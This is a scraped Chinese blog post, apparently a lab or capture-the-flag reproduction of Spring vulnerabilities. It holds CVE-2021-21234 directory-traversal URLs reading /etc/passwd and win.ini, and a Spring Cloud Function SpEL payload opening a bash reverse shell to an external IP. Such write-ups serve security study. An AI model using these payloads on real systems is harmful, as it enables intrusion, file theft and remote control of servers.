PHP-JAVA-Python-JavaScript框架介绍&CVE-2018-1002015/CNVD-2018-24942/2x-rce/Spring命令执行/CVE-2021_21234漏洞复现_第31张图片

我们看看这个

在这里插入图片描述

扫描不出来

其他工具也不太行

我们就需要手动的进行挖掘了

但是他出了问题不知道为什么搞不成功

提供一下参考

https://www.cnblogs.com/someone9/p/10186179.html

https://www.cnblogs.com/cute-puli/p/14656631.html

https://www.cnblogs.com/cute-puli/p/14656631.html

Spting

Spring Framework 远程命令执行漏洞

PHP-JAVA-Python-JavaScript框架介绍&CVE-2018-1002015/CNVD-2018-24942/2x-rce/Spring命令执行/CVE-2021_21234漏洞复现_第32张图片

PHP-JAVA-Python-JavaScript框架介绍&CVE-2018-1002015/CNVD-2018-24942/2x-rce/Spring命令执行/CVE-2021_21234漏洞复现_第33张图片

ls /tmp

flag-{bmh11affe6e-d613-4bf6-b125-c9e64fe23047}

Spring Boot 目录遍历 (CVE-2021_21234)

PHP-JAVA-Python-JavaScript框架介绍&CVE-2018-1002015/CNVD-2018-24942/2x-rce/Spring命令执行/CVE-2021_21234漏洞复现_第34张图片

/manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../" # Windows
 
/log/view?filename=/windows/win.ini&base=../../../../../../../../../../" # windows

/manage/log/view?filename=/etc/passwd&base=../../../../../../../../../../         
/log/view?filename=/etc/passwd&base=../../../../../../../../../../         
http://123.58.236.76:27172/manage/log/view?filename=/etc/passwd&base=../../../../../../../../../../

复现很简单的

spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(new String[]{“bash”,"-c",“bash -i >& /dev/tcp/43.249.207.221/5554 0>&1"})

你可能感兴趣的:(web渗透,java,php,javascript)